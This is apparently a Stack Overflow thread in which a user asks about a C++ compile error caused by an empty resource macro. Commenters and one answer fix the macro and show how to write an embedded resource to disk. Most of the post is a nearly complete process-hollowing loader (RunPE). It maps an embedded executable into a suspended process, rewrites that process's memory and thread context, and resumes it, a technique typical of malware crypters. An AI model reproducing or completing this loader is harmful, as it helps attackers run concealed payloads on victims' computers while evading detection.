-1

I have the following lines of code throwing errors at compilation even though I don't see where the error is, maybe I'm blind:

if (((hResInfo = FindResource(hModule, MAKEINTRESOURCE(IDD_EXE1), "EXE")) != NULL) && ((hResData = LoadResource(hModule, hResInfo)) != NULL) && ((pvRes = LockResource(hResData)) != NULL))
{

error:

embed.cpp(19) : error C2059: syntax error : ')'
embed.cpp(20) : error C2143: syntax error : missing ';' before '{'

All code as follows:

embed.cpp

#include <windows.h>
#include <iostream>
#include "resource.h"

SECURITY_ATTRIBUTES secAttrib;

using namespace std;
void RunFromMemory(char*, char*);

int main(int argc, char* argv[])
{
HGLOBAL hResData;
HRSRC   hResInfo;
void    *pvRes;
DWORD dwSize;
char* lpMemory;
HMODULE hModule = GetModuleHandle(NULL);

if (((hResInfo = FindResource(hModule, MAKEINTRESOURCE(IDD_EXE1), "EXE")) != NULL) && ((hResData = LoadResource(hModule, hResInfo)) != NULL) && ((pvRes = LockResource(hResData)) != NULL))
{
    dwSize = SizeofResource(hModule, hResInfo);
    lpMemory = (char*)malloc (dwSize);
    memset(lpMemory,0,dwSize);
    memcpy (lpMemory, pvRes, dwSize);
    RunFromMemory(lpMemory,argv[0]);    
}
}

void RunFromMemory(char* pImage,char* pPath)
{
    DWORD dwWritten = 0;
    DWORD dwHeader = 0; 
    DWORD dwImageSize = 0;
    DWORD dwSectionCount = 0;
    DWORD dwSectionSize = 0;
    DWORD firstSection = 0;
    DWORD previousProtection = 0;
    DWORD jmpSize = 0;

    IMAGE_NT_HEADERS INH;
    IMAGE_DOS_HEADER IDH;
    IMAGE_SECTION_HEADER Sections[1000];

    PROCESS_INFORMATION peProcessInformation;
    STARTUPINFO peStartUpInformation;
    CONTEXT pContext;

    char* pMemory;
    char* pFile;
    memcpy(&IDH,pImage,sizeof(IDH));
    memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH));

    dwImageSize = INH.OptionalHeader.SizeOfImage;
    pMemory = (char*)malloc(dwImageSize);
    memset(pMemory,0,dwImageSize);
    pFile = pMemory;

    dwHeader = INH.OptionalHeader.SizeOfHeaders;
    firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS));
    memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections);

    memcpy(pFile,pImage,dwHeader);

    if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0)
    {
        jmpSize = INH.OptionalHeader.SizeOfHeaders;
    }
    else
    {
        jmpSize = INH.OptionalHeader.SizeOfHeaders / INH.OptionalHeader.SectionAlignment;
        jmpSize += 1;
        jmpSize *= INH.OptionalHeader.SectionAlignment;
    }

    pFile = (char*)((DWORD)pFile + jmpSize);

    for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++)
    {
        jmpSize = 0;
        dwSectionSize = Sections[dwSectionCount].SizeOfRawData;
        memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize);

        if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0)
        {
            jmpSize = Sections[dwSectionCount].Misc.VirtualSize;
        }
        else
        {
            jmpSize = Sections[dwSectionCount].Misc.VirtualSize / INH.OptionalHeader.SectionAlignment;
            jmpSize += 1;
            jmpSize *= INH.OptionalHeader.SectionAlignment;
        }
        pFile = (char*)((DWORD)pFile + jmpSize);
    }


    memset(&peStartUpInformation,0,sizeof(STARTUPINFO));
    memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION));
    memset(&pContext,0,sizeof(CONTEXT));

    peStartUpInformation.cb = sizeof(peStartUpInformation);
    if(CreateProcess(NULL,pPath,&secAttrib,NULL,false,CREATE_SUSPENDED,NULL,NULL,&peStartUpInformation,&peProcessInformation))
    {
        pContext.ContextFlags = CONTEXT_FULL;
        GetThreadContext(peProcessInformation.hThread,&pContext);
        VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection);
        WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten);
        WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten);
        pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint;
        SetThreadContext(peProcessInformation.hThread,&pContext);
        VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0);
        ResumeThread(peProcessInformation.hThread);
    }
    free(pMemory);
}

app.rc

IDD_EXE1 RCDATA "mm.txt"

resource.h

#define IDD_EXE1

the mm.txt is a PE file to add as resource.

bsteo
  • 1,738
  • 6
  • 34
  • 60
  • 4
    Maybe some macros mess up your syntax? How is MAKEINTRESOURCE and IDD_EXE1 defined? – Jakub Zaverka Jun 01 '13 at 11:33
  • 1
    There are the right number of brackets in the right places. I second Jakub's suggestion. – Patashu Jun 01 '13 at 11:34
  • `IDD_EXE1 RCDATA "mm.txt"` defined in app.rc and `MAKEINTRESOURCE` is in WinAPI as I believe – bsteo Jun 01 '13 at 11:37
  • You should really split these actions up rather than pile them all into one `if` condition. What if one of them fails? – dreamlax Jun 01 '13 at 11:38
  • ask for the preprocessor output in options and inspect the line in the .i file, or paste that here – Balog Pal Jun 01 '13 at 11:39
  • None should fail otherwise won't work isn't it? – bsteo Jun 01 '13 at 11:40
  • 1
    I compile from commandline: `cl /EHsc embed.cpp` – bsteo Jun 01 '13 at 11:40
  • Suggest you split up the line of code then the compiler can tell you where it's gone wrong. See http://codepad.org/CJhiduVp. – TooTone Jun 01 '13 at 11:41
  • See http://stackoverflow.com/questions/8978997/how-can-i-see-the-output-of-the-visual-c-preprocessor for how to preprocess to a file, then paste the relevant line that produces so we can see the macro expanding. – Mike Vine Jun 01 '13 at 11:42
  • Preprocess to a file kind of big `3,091,104 embed.i`, should I upload it somewhere? – bsteo Jun 01 '13 at 11:44
  • Just search for your line - it should be starting with "if (((hResInfo = FindResource" and paste that and the couple surrounding it – Mike Vine Jun 01 '13 at 11:52
  • Um, you defined `IDD_EXE1` to the empty string, so you are passing no parameters to `MAKEINTRESOURCE` which makes the macro sad. – Raymond Chen Jun 01 '13 at 14:01

1 Answers1

1

You need the ending curly brace. This compiles on VS2008.

if (((hResInfo = FindResource(_Module.m_hInst, MAKEINTRESOURCE(IDC_EXE1), "EXE")) != NULL) 
    && ((hResData = LoadResource(_Module.m_hInst, hResInfo)) != NULL) 
    && ((pvRes = LockResource(hResData)) != NULL))
{
}

And shouldn't resource.h be of form:

#define IDC_EXE1                      1004

To compile in my project I substituted _Module.m_hInst for your hModule but I guess they are the same thing.

OK, this is going further than your question, but here is a code snippet for embedding a file - in this case a war file (but could be any binary file).

//load binary file into memory for output
HRSRC hrsrc = FindResource(_Module.m_hInst, (LPCSTR)IDS_WARFILE, RT_RCDATA);
HGLOBAL g = ::LoadResource(_Module.m_hInst, hrsrc);

LPVOID p = ::LockResource(g);
DWORD len = SizeofResource(_Module.m_hInst, hrsrc);

std::ofstream bstrm;
char file2[256] = {0};
sprintf(file2, "%syourname.war", path);
bstrm.open(file2, std::ofstream::out | std::ofstream::binary);
if(bstrm.good()) {
    bstrm.write((const char*)p, len);
}
bstrm.close();

And resource.h file:

#define IDS_WARFILE                     1007

The fstream bit on the end outputs the file in the path specified.

You store your binary file to be incorporated into your program in the rc folder of your project.

Last thing to do is:

IDS_WARFILE RCDATA "res\yourname.war"

Angus Comber
  • 9,316
  • 14
  • 59
  • 107
  • Yeah, I didn't define it right anyway I get these errors now: `embed.cpp embed.cpp(19) : error C2065: '_Module' : undeclared identifier embed.cpp(19) : error C2228: left of '.m_hInst' must have class/struct/union type is ''unknown-type'' embed.cpp(19) : error C2065: 'IDD_EXE1' : undeclared identifier embed.cpp(20) : error C2065: '_Module' : undeclared identifier embed.cpp(20) : error C2228: left of '.m_hInst' must have class/struct/union type is ''unknown-type''` – bsteo Jun 01 '13 at 11:49
  • @xtrmtrx - just use your hModule - remove Module_.m_hInst – Angus Comber Jun 01 '13 at 11:51
  • Wrongfully put `IDC_EXE1` instead `IDD_EXE1` in `resource.h` anyway still getting this: `embed.cpp embed.cpp(19) : error C2065: '_Module' : undeclared identifier embed.cpp(19) : error C2228: left of '.m_hInst' must have class/struct/union type is ''unknown-type'' embed.cpp(20) : error C2065: '_Module' : undeclared identifier embed.cpp(20) : error C2228: left of '.m_hInst' must have class/struct/union type is ''unknown-type''` – bsteo Jun 01 '13 at 11:52
  • Wow! Didn't see. Now compiles ok :) The only problem I'm left is now that my EXE isn't loaded as resource as far as I see :) – bsteo Jun 01 '13 at 11:53